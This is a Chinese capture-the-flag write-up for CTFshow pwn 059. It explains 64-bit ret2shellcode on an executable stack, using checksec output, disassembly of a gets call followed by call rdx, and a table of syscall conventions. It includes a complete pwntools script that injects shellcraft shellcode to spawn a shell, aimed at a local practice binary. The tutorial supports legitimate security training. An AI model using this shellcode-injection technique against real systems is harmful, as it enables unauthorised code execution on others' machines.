【CTFshow-pwn系列】03_栈执行【pwn 059】详解:64位架构下的 Ret2Shellcode 进阶与指令集适配
【CTFshow-pwn系列】03_栈执行【pwn 059】详解:64位架构下的 Ret2Shellcode 进阶与指令集适配
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
在上一关 pwn 058 中,我们通过 32 位的 call eax 成功在可执行栈上起舞。今天我们要面对的是它的 64 位进阶版 —— pwn 059。题目依然标榜着:“64位 无限制”。
从 32 位跨越到 64 位,绝对不是简单的寄存器改个名字(r 开头)那么简单。地址空间的扩大、传参约定的改变以及对指令对齐的要求,都让这次的“无限制”挑战增加了一丝硬核的味道。
第一部分:题目信息与环境侦察(熟悉的配方)
1. 检查保护机制 (checksec)

~/Desktop .............................................................. at 16:20:10 > checksec pwn [*] '/home/shining/Desktop/pwn' Arch: amd64-64-little <-- 核心差异:64位架构 RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing <-- 栈可执行 (RWX) PIE: No PIE (0x400000) Stack: Executable <-- 权限确认为 RWX RWX: Has RWX segments Stripped: No 深度原理分析: 依然是熟悉的 GNU_STACK missing。在 64 位环境下,这种配置同样意味着栈上没有任何执行限制。
- 64位地址宽度:相比 32 位的 4 字节地址,64 位地址宽度达到了 8 字节,虽然寻址空间巨大,但这也意味着我们在构造 ROP 或填充时需要更精准的字节对齐。
- NX Missing:只要我们能把 RIP 指令指针引导到我们的缓冲区,程序就会像脱缰的野马一样开始解析执行我们的恶意 64 位机器码。
第二部分:破局思路与静态分析(硬核剖析)
在 64 位下,反编译器(F5)有时会因为复杂的栈平衡调整而报错。
1. 诡异的报错:Decompilation failure
当你尝试在 IDA 中按下 F5 时,可能会弹出: 4006F9: call analysis failed

技术解毒:这不是你的 IDA 坏了,而是出题人故意使用了“寄存器间接调用”(Indirect Call)。由于 call rdx 在静态分析时无法确定 rdx 到底指向哪,IDA 的 F5 插件无法构建完整的控制流图,因此罢工。这时候,我们必须回归最原始的武器:阅读汇编。
2. 追踪漏洞点:ctfshow 函数
观察 ctfshow 的汇编实现:

.text:00000000004005BF mov [rbp+s], rdi ; 接收来自 main 的缓冲区地址 .text:00000000004005C3 mov rax, [rbp+s] .text:00000000004005C7 mov rdi, rax ; 将地址传给 rdi 作为 gets 的参数 .text:00000000004005CF call _gets ; 【核心漏洞】无限制读取输入 .text:00000000004005D4 mov rax, [rbp+s] .text:00000000004005D8 mov rdi, rax ; 传回给 puts 打印出来 .text:00000000004005DB call _puts 3. 致命一击:main 函数的执行流劫持
回到 main 函数,观察程序在调用 ctfshow 后的动作:

.text:00000000004006DE lea rax, [rbp+var_A0] ; 1. 计算栈上缓冲区 var_A0 的首地址 .text:00000000004006E5 mov rdi, rax ; 2. 作为参数传入 ctfshow .text:00000000004006E8 call ctfshow ; 3. 调用 gets 往该地址填充数据 .text:00000000004006ED lea rdx, [rbp+var_A0] ; 4. 重新将同一块地址加载到 rdx .text:00000000004006F4 mov eax, 0 .text:00000000004006F9 call rdx ; 5. 【绝杀】直接跳转到 rdx 执行! 逻辑总结: 这又是一个“官方后门”。程序在栈上开辟了 0xA0(160字节)的空间,让你通过 gets 填入数据,填完后立刻通过 call rdx 命令 CPU 去执行这块空间的内容。由于栈是可执行的,我们只需注入 64 位 Shellcode。
第三部分:实战 EXP 编写与详解 (Pwntools 魔法)
在 64 位下编写 EXP,最重要的一步是正确设置 context。
1. 64 位与 32 位 Shellcode 的本质区别
在 64 位下编写 EXP,最重要的一步是正确设置 context。我们需要深刻理解 64 位与 32 位在底层的本质区别。
| 特性 | 32 位 (x86) | 64 位 (amd64) |
|---|---|---|
| 系统调用指令 | int 0x80 | syscall |
| 调用号寄存器 | eax | rax |
| 参数 1 寄存器 | ebx | rdi |
| 参数 2 寄存器 | ecx | rsi |
| 参数 3 寄存器 | edx | rdx |
| 参数 4-6 寄存器 | esi, edi, ebp | r10, r8, r9 |
| execve 调用号 | 11 (0x0b) | 59 (0x3b) |
| 地址/寄存器位宽 | 4 字节 (32-bit) | 8 字节 (64-bit) |
深度解析:
- 指令集进化:64 位引入了专用的
syscall指令,它比老旧的int 0x80软中断执行效率更高,且寄存器传参的改变减少了访存开销。 - 调用号剧变:这是新手最容易踩的坑。如果在 64 位代码里用
eax=11调syscall,你调用的其实是munmap而不是execve,结果必然是程序崩溃。
2. 攻击脚本 (EXP)
from pwn import * # 1. 基础配置:由于是 64 位题目,必须指定架构为 amd64 context(arch='amd64', os='linux', log_level='debug') # 2. 建立连接:本地调试用 process,远程用 remote io = process('./pwn') # io = remote('pwn.challenge.ctf.show', 28124) # 3. 生成 Shellcode:利用 shellcraft 快速构造 amd64 拿 shell 的机器码 shellcode = asm(shellcraft.sh()) # 4. 发送攻击载荷:直接发送,不需要 Padding 填充 io.sendline(shellcode) # 5. 开启交互:获取 Shell 权限 io.interactive() 
第四部分:小白踩坑实录 (深入骨髓的教训)
1. 为什么 32 位的 Shellcode 跑不通?
64 位 CPU 的寻址和指令长度完全不同。在 64 位程序里跑 32 位代码会触发 Illegal Instruction。context(arch='amd64') 是你的救命稻草。
2. 远程连接 EOF 的排查
如果脚本在远程报错:
- 环境重置:去网页端点**【重置环境】**,这是解决 90% 问题的良药。
- 端口更新:确保
remote函数里的五位端口号与网页端当前显示的一致。
3. IDA 报错不要慌
遇到 call analysis failed 说明你撞到了“间接跳转”。手动看 call 前面的寄存器来源(比如本题的 rdx 是从哪来的),只要它指向你的输入区,直接打就完事了。
宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界